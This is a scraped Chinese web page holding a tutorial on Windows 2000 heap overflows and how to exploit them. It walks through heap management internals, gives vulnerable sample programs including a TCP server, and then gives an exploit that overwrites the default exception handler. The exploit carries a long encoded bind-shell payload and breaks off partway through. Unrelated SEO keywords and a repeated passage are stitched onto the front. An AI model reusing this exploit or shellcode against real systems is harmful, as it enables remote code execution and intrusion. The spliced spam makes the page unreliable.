葫芦岛市住房和城乡建设局网站,wordpress支持视频播放器,wordpress数据库恢复插件,怎样修改wordpress密码Windows下的HEAP溢出及其利用 作者: isno 一、概述 前一段时间ASP的溢出闹的沸沸扬扬#xff0c;这个漏洞并不是普通的堆栈溢出#xff0c;而是发生在HEAP中的溢出#xff0c;这使大家重新认识到了Windows下的HEAP溢出的可利用性。其实WIN下的HEAP溢出比Linux和SOLARIS下面的…Windows下的HEAP溢出及其利用 作者: isno 一、概述 前一段时间ASP的溢出闹的沸沸扬扬这个漏洞并不是普通的堆栈溢出而是发生在HEAP中的溢出这使大家重新认识到了Windows下的HEAP溢出的可利用性。其实WIN下的HEAP溢出比Linux和SOLARIS下面的还要简单得多大家肯定已经都搞明白了我来做是一个总结以免自己将来忘了。由于缺乏这方面的资料及源代码所有的分析结果都来自于反汇编和调试的分析所以错误之处在所难免敬请各位指正。 以下所有程序的测试环境为 中文版Windows 2000 SP2 VC 6.0 二、Windows的HEAP管理机制简述 同LINUX一样Windows的HEAP区是程序动态分配一块内存区域。程序员一般调用C函数malloc/free或者C的new/delete或者WIN32 API函数HeapAlloc/HeapFree来动态分配内存这些函数最终都将调用ntdll.dll中的RtlAllocateHeap/RtlFreeHeap来进行实际的内存分配工作所以我们只需要分析RtlAllocateHeap/RtlFreeHeap就行了。 对于一个进程来说可以有多个HEAP区每一个HEAP的首地址以句柄来表示hHeap这也就是RtlAllocateHeap的第一个参数。每个HEAP区的整体结构如下 ------------------------------------------------------------------- | HEAP总体管理结构区 | 双指针区 | 用户分配内存区 | ------------------------------------------------------------------- ^ ^ |_hHeap |_hHeap0x178 heap总体管理结构区存放着一些用于HEAP总体管理的结构这不是我们所关心的。双指针区存放着一些成对出现的指针用于定位分配内存以及释放内存的位置这可能是某种树结构我还没完全搞清楚。用户分配内存区是用户动态分配内存时实际用到区域也这是HEAP的主体。 当我们调用RtlAllocateHeap(HANDLE hHeap,DWORD dwFlags,SIZE_T dwBytes)来分配内存时将进行以下操作 对参数进行检查,如果dwBytes过大或小于0都按照出错处理根据dwFlags来设置一些管理结构 检查是否为DEBUG程序对于DEBUG的程序与实际运行的程序每个内存块之间的结构是不同的所以我们下面说到的都是以RELEASE版编译的实际运行的程序不是在MSDEV中调试的程序 根据要分配的内存的大小dwBytes决定不同的内存分配算法我们只分析小于1024 bytes的情况 从双指针区找到用户内存区的末尾位置如果有足够的空间分配所需的内存就在末尾dwBytes8的位置放置一对指针来指向双指针区的指向用户内存区末尾位置的地方 在后面同时设置双指针区的指向用户内存区末尾位置的指针指向进行完分配之后的用户内存区末尾位置。这么说可能有点绕不过这跟HEAP溢出没有太大的关系所以我们就不细究了。 两块连续分配的内存块之间并不是紧挨着的而是有8字节的管理结构最末尾的一块内存后面还另外多了8字节的指针指向双指针区就是上面提到过的。 假设有以下程序 buf1 HeapAlloc(hHeap, 0, 16); buf2 HeapAlloc(hHeap, 0, 16); 连续分配了两块16字节内存实际在内存中用户分配区的情况是这样的 第一次分配后 ----------------------------------------------- | buf1 | 8 byte |4 byte|4 byte| ----------------------------------------------- | 用户内存 | 管理结构 | 两个指针 | 第二次分配后 --------------------------------------------------------------------------------- | buf1 | 8 byte | buf2 | 8 byte |4 byte|4 byte| --------------------------------------------------------------------------------- | 用户内存 | 管理结构 | 用户内存 | 管理结构 | 两个指针 | 在第二次分配内存的时候会利用第一块内存管理结构后面那两个指针进行一些操作其中会有一次写内存的操作 77FCB397 mov [ecx], eax 77FCB399 mov [eax4], ecx 这时的eax和ecx分别指向 ----------------------------------------------- | buf1 | 8 byte |4 byte|4 byte| ---------------------------------^------^------ | 用户内存 | 管理结构 |_eax |_ecx | 写到这里大家一定就明白HEAP溢出如何利用了吧假设我们分配完buf1之后向其中拷贝内容拷贝的内容大小超过buf1的大小即16字节就会发生溢出当如果我们覆盖掉了那两个4字节的指针而下一次分配buf2之前又没有把buf1释放掉的话那么就会把一个4字节的内容写入一个地址当中而这个内容和地址都是我们能够控制的这样我们就可以控制函数的流程转向我们的shellcode了。 三、HEAP溢出的利用 上面就是这种溢出可以被利用的基本原理下面我们就来看看具体是怎么回事。有这么一个程序 /* * Windows Heap overrun test - vul.c * by isno */ #include windows.h #include stdio.h #include stdlib.h int main (int argc, char *argv[]) { HANDLE hHeap; char *buf1, *buf2; char mybuf[] AAAAAAAAAAAAAAAABBBBBBBBXXXXYYYY; //在进程的默认HEAP当中分配内存 hHeapGetProcessHeap(); //先分配一块16字节内存buf1 buf1 HeapAlloc(hHeap, 0, 16); //把32字节的mybuf拷贝到16字节的buf1里面发生溢出 strcpy(buf1,mybuf); //再次分配一块16字节的内存buf2此时buf1还没有被释放 //由于buf1溢出了所以当写内存的时候就会出错 buf2 HeapAlloc(hHeap, 0, 16); //释放这两块内存 HeapFree(hHeap, 0, buf1); HeapFree(hHeap, 0, buf2); return 0; } 我们把这个程序用VC按照RELEASE方式编译并在命令行下运行它不要在MSDEV中调试运行。如果你没有装SOFTICE的话就会弹出一个错误对话框显示0x77fcb397指令引用的0x59595959内存。该内存不能为written。 可以注意到0x59595959就是YYYY这就证明了程序在向YYYY指向的内存地址进行写操作写的内容是什么呢如果你启动了SOFTICE的话运行这个程序的时候SOFTICE就会自动跳出来并停在下面的指令处 77FCB397 mov [ecx], eax 此时eax0x58585858,ecx0x59595959因为0x59595959这个地址没有映射内存页面所以执行这个指令的时候出错了。 0x58585858和0x59595959正是我们覆盖buf1所用的XXXX和YYYY实际进行的内存分配操作就是上面我们说过的那样 第一次分配后 ----------------------------------------------- | buf1 | 8 byte |4 byte|4 byte| ----------------------------------------------- | 用户内存 | 管理结构 | 两个指针 | 溢出后 ----------------------------------------------- | buf1 | 8 byte |4 byte|4 byte| ----------------------------------------------- | AAAAAAAAAAAAAAAA | BBBBBBBB | XXXX | YYYY | 这样当第二次分配buf2的时候就会把XXXX写入到YYYY所指向的地址当中去由于XXXX和YYYY都是我们所能够控制的所以我们就可以把shellcode地址写入到堆栈中保存的函数返回地址去这样当函数返回的时候就会跳到我们的shellcode去执行。 当然这是比较理想的情况实际上利用这个漏洞还有很多问题下面我们以一个实际的例子来看看具体利用这个漏洞的情况。 四、实战 由于Windows下的溢出对于本地利用来说没有多大意义所以我们一个存在HEAP溢出漏洞的网络程序为例 /* win_heap_vul.c Windows下存在HEAP溢出漏洞的服务端程序 */ #define PORT 1500 #define BUFFLEN 32 //分配内存的大小 #define COPYLEN 64 //实际拷贝的大小 #include stdio.h #include windows.h #include winsock.h int main() { WSADATA wsd; SOCKET sListen, sClient; struct sockaddr_in local, client; int iAddrSize; HANDLE hHeap; char *buf1, *buf2; char buff[4096]; if (WSAStartup(MAKEWORD(2,2), wsd) ! 0) { printf(Failed to load Winsock!\n); return 1; } //建立一个socket监听1500端口 sListen socket(AF_INET, SOCK_STREAM, IPPROTO_IP); local.sin_addr.s_addr htonl(INADDR_ANY); local.sin_family AF_INET; local.sin_port htons(PORT); if (bind(sListen, (struct sockaddr *)local, sizeof(local)) SOCKET_ERROR) { printf(bind() failed: %d\n, WSAGetLastError()); return 1; } listen(sListen, 8); iAddrSize sizeof(client); sClient accept(sListen, (struct sockaddr *)client, iAddrSize); if (sClient INVALID_SOCKET) { printf(accept() failed: %d\n, WSAGetLastError()); return 1; } printf(connect form: %s:%d\n, inet_ntoa(client.sin_addr), ntohs(client.sin_port)); //我们自己建立一个HEAP以免破坏掉进程默认HEAP以后shellcode无法正常运行 hHeap HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000, 0xfffff); //动态分配一块BUFFLEN大小的(32 bytes)的内存buf1 buf1 HeapAlloc(hHeap, 0, BUFFLEN); recv(sClient, buff, 4096, 0); //注意这里溢出的不是buff而是buf1 //buff是在栈中开辟的缓冲区它的大小是4096上面recv的也是4096所以不会溢出 printf(recv1: %s\n, buff); //将从客户端接受到的内容即buff拷贝到buf1中 //如果接受到的内容大于32字节将发生溢出 //这里错误的使用了COPYLEN(64 bytes)因此造成溢出 memcpy(buf1, buff, COPYLEN); //如果覆盖到HEAP中的管理结构那么当再次动态分配内存时将可能被利用 buf2 HeapAlloc(hHeap, 0, BUFFLEN); recv(sClient, buff, 4096, 0); printf(recv2: %s\n, buf2); HeapFree(hHeap, 0, buf1); HeapFree(hHeap, 0, buf2); closesocket(sListen); WSACleanup(); return 0; } 整个程序很简单监听在1500端口先分配了32字节的buf1并把客户端发送过来的内容的前64字节拷贝到buf1里这里是由于错误的使用了宏而发生的溢出应该用BUFFLEN但用了COPYLEN这种情况在实际中也是很容易发生的。这样当再分配buf2的时候就会有写内存的操作使得我们可以利用这个漏洞。 现在我们就可以写个攻击程序来溢出它并且控制改写任意4字节的内存。那么到底改写什么地方比较合适呢我想来想去有4种地方可以改写用来控制去执行我们的shellcode 1.堆栈中保存的函数返回地址 2.堆栈中保存的的异常处理指针 3.线程默认异常处理指针顶层异常处理指针 4.线程环境块TEB 1和2都是保存在堆栈中的地址因此在不同的系统中可能是不一样的如果改写这两个地址的话虽然也可能成功但是无法保证程序的通用性从实际攻击的成功率的角度考虑就不能用这两种地址。 3是线程默认异常处理指针即顶层异常处理指针它在同一版本的操作系统中是一个固定的值。这里稍微介绍一下Windows结构化异常处理的基本原理。Windows的结构化异常处理SEH是一种对程序异常的处理机制它是按照链式层状结构进行处理的。当线程中发生异常时操作系统首先找到线程环境块TEB指向的第一个内存单元即fs:[0]中所包含的地址这个地址指向的地方存放着上一层异常链指针而在这个地址4的地方存放着最低层异常处理指针操作系统就自动跳到这个指针所指向的函数去执行来进行异常处理。当这个函数无法对异常进行处理的时候再根据上一层的异常链指针来寻找到上一层的异常处理指针来处理如果所有的异常处理函数都无法处理这个异常那么系统就使用默认异常处理指针即顶层异常处理指针来处理异常情况就是这个函数 LONG UnhandledExceptionFilter(STRUCT _EXCEPTION_POINTERS *ExceptionInfo); 这个函数负责显示一个错误对话框来指出出错的原因这就是我们一般的程序出错的时候显示错误对话框的原因。 我们可以通过SetUnhandledExceptionFilter这个函数来设置默认异常处理指针把SetUnhandledExceptionFilter反汇编一下可以发现它非常简单 LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter( LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter ) .text:77E6BE11 SetUnhandledExceptionFilter proc near .text:77E6BE11 mov ecx, [esplpTopLevelExceptionFilter] .text:77E6BE15 mov eax, dword_77EBF44C .text:77E6BE1A mov dword_77EBF44C, ecx .text:77E6BE20 retn 4 .text:77E6BE20 SetUnhandledExceptionFilter endp 它所做的就只是把参数即用户指定的默认异常处理指针放入0x77ebf44c这个地址所指向的内存单元之中。然后UnhandledExceptionFilter在进行默认异常处理的时候就从0x77ebf44c中取出这个指针然后跳到那里去执行。因此我们只要改写0x77ebf44c这个地址中的内容就可以改变默认异常处理的函数了这个0x77ebf44c在同一版本包括ServicePack版本的系统当中应该是固定的但是在一些系统中即使系统和SP的版本都相同这个地址也不相同不知道是为什么可能是某些补丁修改了这个地址在中文版WindowsSP2中就是0x77ebf44c在别的版本中可能不一样我写了个小程序来获取这个地址 #include stdio.h #include windows.h void main() { unsigned int sehaddr; int *un; HMODULE hk LoadLibrary(KERNEL32.dll); un (int *)GetProcAddress(hk,SetUnhandledExceptionFilter); _asm{ mov eax,un add eax,5 mov ebx,[eax] mov sehaddr,ebx } printf(the top seh: 0x%x\r\n,sehaddr); _getch(); return; } 运行这个程序就可以获得你当前系统中存放默认异常处理的地址了。再回到我们HEAP溢出的问题上我们可以通过改写默认异常处理来改变程序的流程也就是改写0x77ebf44c这个内存单元的值为shellcode的地址。这是一个比较通用的方法成功率也比较高。 还有一种方法是改写TEB即fs:[0]的地方系统发生异常的时候会从这个地方取出最底层的异常链来进行异常处理我们可以自己构造一个异常处理结构指向我们的shellcode这样就可以达到控制程序流程的目的了这个fs:[0]对于单线程的程序是比较固定的但是对于多线程的不同线程会有所变化所以还是不如改写默认异常处理好因此我们最后决定改写默认异常处理的内存单元。 下面就是shellcode存放在哪里的问题了我觉得这个问题没有通用的方法要根据发生溢出的程序的情况而定如果可以放在一个发生异常时有寄存器能够指向的地方那就是最完美的情况这样就可以用一个系统DLL中有JMP EXX指令的地址来改写默认异常处理其中EXX是指向shellcode的寄存器。但是这种情况似乎比较少见一般shellcode也没办法放到这种位置上来那就只能用shellcode的地址来直接定位可以在shellcode前面放上大量NOP来提高成功率。对于前面那个漏洞程序我们就使用shellcode的地址来改写默认异常处理的方法。 但是这里还有一个小问题发生写内存操作的有两个指令 77FCB397 mov [ecx], eax 77FCB399 mov [eax4], ecx 这样不但会把shellcode地址写进默认异常处理地址中也会把默认异常处理地址写进[shellcode地址4]的内存单元当中这样就把shellcode中要执行的指令给破坏了。要解决这个问题我们可以用一个jmp 6这样的指令来代替nop这样就能够跳过后面被破坏的字节。 理论上的问题都解决了现在就可以写出攻击程序来了 /* win_heap_exp.c HEAP溢出漏洞的攻击程序 */ #include stdio.h #include windows.h #include winsock.h unsigned char shellcode[] //打开7788端口的shellcode \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \xeb\x18\x5f\x57\x5e\x33\xc9\xac\x3a\xc1\x74\x13\x3c\x30\x74\x05 \x34\xaa\xaa\xeb\xf2\xac\x2c\x40\xeb\xf6\xe8\xe3\xff\xff\xff\xff \x21\x46\x2b\x46\xea\xa3\xaa\xaa\xf9\xfc\xfd\x27\x17\x6a\x30\x9c \x55\x55\x13\xfa\xa8\xaa\xaa\x12\x66\x66\x66\x66\x59\x30\x41\x6d \x30\x6f\x30\x46\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x9e\x5d \x55\x55\xba\xaa\xaa\xaa\x43\x48\xac\xaa\xaa\x25\x30\x6f\x30\x42 \x5d\x55\x55\x27\x17\x5e\x5d\x55\x55\xce\x30\x4b\xaa\xaa\xaa\xaa \x23\xed\xa2\xce\x23\x97\xaa\xaa\xaa\xaa\x6d\x30\x6f\x5e\x5d\x55 \x55\x55\x55\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29\x42\xad \x23\x30\x6f\x52\x5d\x55\x55\x6d\x30\x6f\x30\x4e\x5d\x55\x55\xaa \xaa\x4a\xdd\x42\xd4\xac\xaa\xaa\x29\x17\x30\x46\x5d\x55\x55\xaa \xa5\x30\x6f\x77\xab\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55\x2b\x6b \xaa\xaa\xab\xaa\x23\x27\x30\x4e\x5d\x55\x55\x2b\x17\x30\x4e\x5d \x55\x55\xaa\xaa\xaa\xd2\xdf\xa0\x6d\x30\x6f\x30\x4e\x5d\x55\x55 \xaa\xaa\x5a\x15\x21\x3f\x30\x4e\x5d\x55\x55\x99\x6a\xcc\x21\xa8 \x97\xe7\xf0\xaa\xaa\xa5\x30\x6f\x30\x70\xab\xaa\xaa\x21\x27\x30 \x4e\x5d\x55\x55\x21\xfb\x96\x21\x30\x6f\x30\x4e\x5d\x55\x55\x99 \x63\xcc\x21\xa6\xba\x2b\x53\xfa\xef\xaa\xaa\xa5\x30\x6f\xd3\xab \xaa\xaa\x21\x3f\x30\x4e\x5d\x55\x55\x21\xe8\x96\x21\x27\x30\x4e \x5d\x55\x55\x21\xfe\xab\xd2\xa9\x3f\x30\x4e\x5d\x55\x55\x23\x3f \x30\x4a\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\xe2\xa6 \xa9\x27\x30\x4e\x5d\x55\x55\x23\x27\x36\x5d\x55\x55\x21\x3f\x36 \x5d\x55\x55\x2b\x90\xe1\xef\xf8\xe4\xa5\x30\x6f\x99\xab\xaa\xaa \x21\x30\x6f\x36\x5d\x55\x55\x2b\xd2\xae\xef\xe6\x99\x98\xa5\x30 \x6f\x8a\xab\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55\x23\x27\x3e\x5d \x55\x55\x21\x3f\x30\x4a\x5d\x55\x55\x21\x30\x6f\x30\x4e\x5d\x55 \x55\xa9\xe8\x8a\x23\x30\x6f\x36\x5d\x55\x55\x6d\x30\x6f\x32\x5d \x55\x55\xaa\xaa\xaa\xaa\x41\xb4\x21\x27\x32\x5d\x55\x55\x29\x6b \xab\x23\x27\x32\x5d\x55\x55\x21\x3f\x36\x5d\x55\x55\x29\x68\xae \x23\x3f\x36\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\x27 \x32\x5d\x55\x55\x91\xe2\xb2\xa5\x27\x6a\xaa\xaa\xaa\x21\x3f\x36 \x5d\x55\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x2b\x96\xab\xed \xcf\xde\xfa\xa5\x30\x6f\x30\x4a\xaa\xaa\xaa\x21\x3f\x36\x5d\x55 \x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x2b\xd6\xab\xae\xd8\xc5 \xc9\xeb\xa5\x30\x6f\x30\x6e\xaa\xaa\xaa\x21\x3f\x32\x5d\x55\x55 \xa9\x3f\x32\x5d\x55\x55\xa9\x3f\x30\x4e\x5d\x55\x55\x21\x30\x6f \x30\x4a\x5d\x55\x55\x21\xe2\x8e\x99\x6a\xcc\x21\xae\xa0\x23\x30 \x6f\x36\x5d\x55\x55\x21\x27\x30\x4a\x5d\x55\x55\x21\xfb\xba\x21 \x30\x6f\x36\x5d\x55\x55\x27\xe6\xba\x55\x23\x27\x36\x5d\x55\x55 \x21\x3f\x36\x5d\x55\x55\xa9\x3f\x36\x5d\x55\x55\xa9\x3f\x36\x5d \x55\x55\xa9\x3f\x36\x5d\x55\x55\xa9\x3f\x30\x4e\x5d\x55\x55\x21 \x30\x6f\x30\x4a\x5d\x55\x55\x21\xe2\xb6\x21\xbe\xa0\x23\x3f\x36 \x5d\x55\x55\x21\x30\x6f\x36\x5d\x55\x55\xa9\x30\x6f\x30\x4e\x5d \x55\x55\x23\x30\x6f\x30\x46\x5d\x55\x55\x41\xaf\x43\xa7\x55\x55 \x55\x43\xbc\x54\x55\x55\x27\x17\x5e\x5d\x55\x55\x21\xed\xa2\xce \x30\x49\xaa\xaa\xaa\xaa\x29\x17\x30\x46\x5d\x55\x55\xaa\xdf\xaf \x43\xdf\xae\xaa\xaa\x21\x27\x30\x42\x5d\x55\x55\xcc\x21\xbb\xcc \x23\x3f\x86\x5d\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29\x6a \xa8\x23\x30\x6f\x30\x42\x5d\x55\x55\x6d\x30\x6f\x36\x5d\x55\x55 \xab\xaa\xaa\xaa\x41\xa5\x21\x27\x36\x5d\x55\x55\x29\x6b\xab\x23 \x27\x36\x5d\x55\x55\x29\x17\x36\x5d\x55\x55\xbb\xa5\x27\x3f\xaa \xaa\xaa\x29\x17\x36\x5d\x55\x55\xa2\xdf\xb4\x21\x5e\x21\x3f\x30 \x42\x5d\x55\x55\xf8\x55\x3f\x1e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1 \xe9\xe1\x23\x30\x6f\x3e\x5d\x55\x55\x41\x80\x21\x5e\x21\x30\x6f \x30\x42\x5d\x55\x55\xfa\x21\x27\x3e\x5d\x55\x55\xfb\x55\x3f\x30 \x46\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x3f\x36\x5d\x55 \x55\x23\x30\x6e\x3f\x1a\x5d\x55\x55\x41\xa5\x21\x30\x6f\x30\x42 \x5d\x55\x55\x29\x6a\xab\x23\x30\x6f\x30\x42\x5d\x55\x55\x21\x27 \x30\x42\x5d\x55\x55\xa5\x14\xbb\x30\x6f\x78\xdf\xba\x21\x30\x6f \x30\x42\x5d\x55\x55\xa5\x14\xe2\xab\x30\x6f\x63\xde\xa8\x41\xa8 \x41\x78\x21\x3f\x30\x42\x5d\x55\x55\x29\x68\xab\x23\x3f\x30\x42 \x5d\x55\x55\x43\xe5\x55\x55\x55\x21\x5e\xc0\xac\xc0\xab\xc0\xa8 \x55\x3f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f \xe6\x5d\x55\x55\xcc\x6d\x30\x6f\x92\x5d\x55\x55\xa8\xaa\xcc\x21 \x30\x6f\x86\x5d\x55\x55\xcc\x23\x30\x6f\x90\x5d\x55\x55\x6d\x30 \x6f\x96\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x36\x5d\x55\x55 \xab\xaa\xaa\xaa\x29\x17\x36\x5d\x55\x55\xaa\xde\xf5\x21\x5e\xc0 \xba\x27\x27\x92\x5d\x55\x55\xfb\x21\x3f\xe6\x5d\x55\x55\xf8\x55 \x3f\x72\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\x36 \x5d\x55\x55\xcc\x21\x30\x6f\x90\x5d\x55\x55\xcc\xaf\xaa\xab\xcc \x23\x30\x6f\x90\x5d\x55\x55\x21\x27\x90\x5d\x55\x55\x2b\x4b\x55 \x55\xaa\xaa\x2b\x53\xaa\xab\xaa\xaa\xd7\xb8\xcc\x21\x3f\x90\x5d \x55\x55\xcc\x29\x68\xab\xcc\x23\x3f\x90\x5d\x55\x55\x41\x32\x21 \x5e\xc0\xa0\x21\x30\x6f\xe6\x5d\x55\x55\xfa\x55\x3f\x76\x5d\x55 \x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x13\xab\xaa\xaa\xaa\x30\x6f\x63 \xa5\x30\x6e\x6c\xa8\xaa\xaa\x21\x5e\x27\x3f\x9e\x5d\x55\x55\xf8 \x27\x30\x6f\x92\x5d\x55\x55\xfa\x21\x27\xe6\x5d\x55\x55\xfb\x55 \x3f\x4a\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\xe2 \x5d\x55\x55\x6d\x30\x6f\xaa\x5d\x55\x55\xa6\xaa\xaa\xaa\x6d\x30 \x6f\xae\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\xa2\x5d\x55\x55 \xab\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f\xaa\x5d\x55\x55\xf8\x27 \x30\x6f\xbe\x5d\x55\x55\xfa\x27\x27\xb2\x5d\x55\x55\xfb\x55\x3f \x12\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x5e\xc0\xaa\x27 \x3f\xaa\x5d\x55\x55\xf8\x27\x30\x6f\xa6\x5d\x55\x55\xfa\x27\x27 \xba\x5d\x55\x55\xfb\x55\x3f\x12\x5d\x55\x55\x91\x5e\x3a\xe9\xe1 \xe9\xe1\x27\x17\xfa\x5d\x55\x55\x99\x6a\x13\xbb\xaa\xaa\xaa\x58 \x30\x41\x6d\x30\x6f\xd6\x5d\x55\x55\xab\xab\xaa\xaa\xcc\x6d\x30 \x6f\x2a\x5d\x55\x55\xaa\xaa\x21\x3f\xba\x5d\x55\x55\x23\x3f\x22 \x5d\x55\x55\x21\x30\x6f\xbe\x5d\x55\x55\x23\x30\x6f\x26\x5d\x55 \x55\x21\x27\xbe\x5d\x55\x55\x23\x27\x3a\x5d\x55\x55\x21\x5e\x27 \x3f\xb6\x5d\x55\x55\xf8\x27\x30\x6f\xfa\x5d\x55\x55\xfa\xc0\xaa \xc0\xaa\xc0\xaa\xc0\xab\xc0\xaa\xc0\xaa\x21\x27\x30\x42\x5d\x55 \x55\xfb\xc0\xaa\x55\x3f\x16\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9 \xe1\x23\x30\x6f\x36\x5d\x55\x55\x21\x5e\xc0\xaa\xc0\xaa\x27\x3f \x9a\x5d\x55\x55\xf8\xc2\xaa\xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55 \x55\xfa\x21\x27\xb2\x5d\x55\x55\xfb\x55\x3f\x6e\x5d\x55\x55\x91 \x5e\x3a\xe9\xe1\xe9\xe1\x30\x50\xab\xaa\xaa\xaa\x30\x6f\x78\xa5 \x30\x6e\xdf\xab\xaa\xaa\x21\x5e\xc0\xaa\xc0\xaa\x27\x30\x6f\x9a \x5d\x55\x55\xfa\xc2\xaa\xae\xaa\xaa\x27\x27\xaa\x52\x55\x55\xfb \x21\x3f\xb2\x5d\x55\x55\xf8\x55\x3f\x6e\x5d\x55\x55\x91\x5e\x3a \xe9\xe1\xe9\xe1\x29\x17\x9a\x5d\x55\x55\xaa\xa5\x24\x30\x6e\xaa \xaa\xaa\x21\x5e\xc0\xaa\x27\x30\x6f\x9a\x5d\x55\x55\xfa\x21\x27 \x9a\x5d\x55\x55\xfb\x27\x3f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xb2 \x5d\x55\x55\xfa\x55\x3f\x62\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9 \xe1\x29\x17\x9a\x5d\x55\x55\xaa\xd4\x82\x21\x5e\xc0\xaa\x21\x27 \x9a\x5d\x55\x55\xfb\x27\x3f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xe2 \x5d\x55\x55\xfa\x55\x3f\x4e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9 \xe1\x41\x8b\x21\x5e\xc0\xaa\xc0\xa2\x21\x27\x30\x42\x5d\x55\x55 \xfb\x21\x3f\xe2\x5d\x55\x55\xf8\x55\x3f\x4e\x5d\x55\x55\x91\x5e \x3a\xe9\xe1\xe9\xe1\x43\x18\xaa\xaa\xaa\x21\x5e\xc0\xaa\xc2\xaa \xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21\x27\xe2\x5d\x55 \x55\xfb\x55\x3f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23 \x30\x6f\x9a\x5d\x55\x55\x29\x17\x9a\x5d\x55\x55\xaa\xd5\xf8\x6d \x30\x6f\x9a\x5d\x55\x55\xac\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f \x9a\x5d\x55\x55\xf8\x21\x30\x6f\x9a\x5d\x55\x55\xfa\x21\x27\x30 \x42\x5d\x55\x55\x29\x6b\xa2\xfb\x21\x3f\xa6\x5d\x55\x55\xf8\x55 \x3f\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x5e\x21\x30 \x6f\xe2\x5d\x55\x55\xfa\x55\x3f\x5a\x5d\x55\x55\x91\x5e\x3a\xe9 \xe1\xe9\xe1\x41\x98\x21\x5e\xc0\xaa\x27\x27\x9a\x5d\x55\x55\xfb \x21\x3f\x9a\x5d\x55\x55\xf8\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21 \x27\xa6\x5d\x55\x55\xfb\x55\x3f\x66\x5d\x55\x55\x91\x5e\x3a\xe9 \xe1\xe9\xe1\x43\xd4\x54\x55\x55\x43\x87\x57\x55\x55\x41\x54\xf2 \xfa\x21\x17\x30\x42\x5d\x55\x55\x23\xed\x58\x69\x21\xee\x8e\xa6 \xaf\x12\xaa\xaa\xaa\x6d\xaa\xee\x99\x88\xbb\x99\x6a\x69\x41\x46 \x42\xb3\x53\x55\x55\xb4\xc6\xe6\xc5\xcb\xce\xe6\xc3\xc8\xd8\xcb \xd8\xd3\xeb\xaa\xe9\xd8\xcf\xcb\xde\xcf\xfa\xc3\xda\xcf\xaa\xe9 \xd8\xcf\xcb\xde\xcf\xfa\xd8\xc5\xc9\xcf\xd9\xd9\xeb\xaa\xe9\xc6 \xc5\xd9\xcf\xe2\xcb\xc4\xce\xc6\xcf\xaa\xfa\xcf\xcf\xc1\xe4\xcb \xc7\xcf\xce\xfa\xc3\xda\xcf\xaa\xf8\xcf\xcb\xce\xec\xc3\xc6\xcf \xaa\xfd\xd8\xc3\xde\xcf\xec\xc3\xc6\xcf\xaa\xdd\xd9\x98\xf5\x99 \x98\x84\xce\xc6\xc6\xaa\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc8\xc3\xc4 \xce\xaa\xc6\xc3\xd9\xde\xcf\xc4\xaa\xcb\xc9\xc9\xcf\xda\xde\xaa \xd9\xcf\xc4\xce\xaa\xd8\xcf\xc9\xdc\xaa\xc3\xc5\xc9\xde\xc6\xd9 \xc5\xc9\xc1\xcf\xde\xaa\xc9\xc6\xc5\xd9\xcf\xd9\xc5\xc9\xc1\xcf \xde\xaa\xc9\xc7\xce\x84\xcf\xd2\xcf\xaa\xcf\xd2\xc3\xde\xa7\xa0 \xaa; /* 216116 bytes long */ int main(int argc, char *argv[]) { WSADATA wsd; SOCKET sClient; int ret, i; struct sockaddr_in server; struct hostent *host NULL; char buff[4096] {0}; if(argc ! 3) { printf(usage: %s target port\n, argv[0]); exit(1); } if (WSAStartup(MAKEWORD(2,2), wsd) ! 0) { printf(Failed to load Winsock library!\n); return 1; } sClient socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sClient INVALID_SOCKET) { printf(socket() failed: %d\n, WSAGetLastError()); return 1; } server.sin_family AF_INET; server.sin_port htons((u_short)atoi(argv[2])); server.sin_addr.s_addr inet_addr(argv[1]); if (server.sin_addr.s_addr INADDR_NONE) { host gethostbyname(argv[1]); if (host NULL) { printf(Unable to resolve server: %s\n, argv[1]); return 1; } CopyMemory(server.sin_addr, host-h_addr_list[0], host-h_length); } //连接到目标主机的1500端口 if (connect(sClient, (struct sockaddr *)server, sizeof(server)) SOCKET_ERROR) { printf(connect() failed: %d\n, WSAGetLastError()); return 1; } //下面开始构造溢出串 for(i0;isizeof(buff);) { buff[i] 0xeb; buff[i] 0x06; } //先把前面放上大量的jmp 6指令0xeb,0x06作为NOP *(unsigned int *)buff[328] 0x0012f5bf; //shellcode地址 *(unsigned int *)buff[3284] 0x77ebf44c; //默认异常处理地址 //在对应的位置放上要改写的内存地址和shellcode地址 //这里用的shellcode地址是放在漏洞程序中的char buff[4096]里面的 